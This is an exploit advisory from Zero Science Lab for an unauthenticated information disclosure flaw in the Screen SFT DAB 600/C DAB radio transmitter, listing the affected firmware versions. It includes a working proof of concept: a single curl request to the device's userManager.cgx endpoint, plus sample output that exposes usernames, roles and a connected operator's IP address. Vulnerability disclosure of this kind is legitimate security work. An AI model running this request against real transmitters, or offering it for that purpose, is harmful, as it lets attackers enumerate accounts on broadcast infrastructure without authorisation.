Screen SFT DAB 600/C – Unauthenticated Information Disclosure (userManager.cgx)
# Exploit Title: Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx) # Exploit Author: LiquidWorm Vendor: DB Elettronica Telecomunicazioni SpA Product web page: https://www.screen.it | https://www.dbbroadcast.com https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/ Affected version: Firmware: 1.9.3 Bios firmware: 7.1 (Apr 19 2021) Gui: 2.46 FPGA: 169.55 uc: 6.15 Summary: Screen's new radio DAB Transmitter is reaching the highest technology level in both Digital Signal Processing and RF domain. SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the digital adaptive precorrection and configuatio flexibility, the Hot Swap System technology, the compactness and the smart system design, the SFT DAB are advanced transmitters. They support standards DAB, DAB+ and T-DMB and are compatible with major headend brands. Desc: Screen is affected by an information disclosure vulnerability due to improper access control enforcement. An unauthenticated remote attacker can exploit this, via a specially crafted request to gain access to sensitive information including usernames and source IP addresses. Tested on: Keil-EWEB/2.1 MontaVista® Linux® Carrier Grade eXpress (CGX) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5776 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5776.php 19.03.2023 -- $ curl 'http://SFTDAB/system/api/userManager.cgx' {"ssbtType":"userManager","ssbtIdx":0,"ssbtObj":{"admin":false,"users":[{"user":"testingus","type":"GUEST","connected":false,"info":null},{"user":"joxy","type":"OPERATOR","connected":false,"info":null},{"user":"dude","type":"OPERATOR","connected":true,"info":{"ip":"192.168.178.150","tmo":120}}]}} |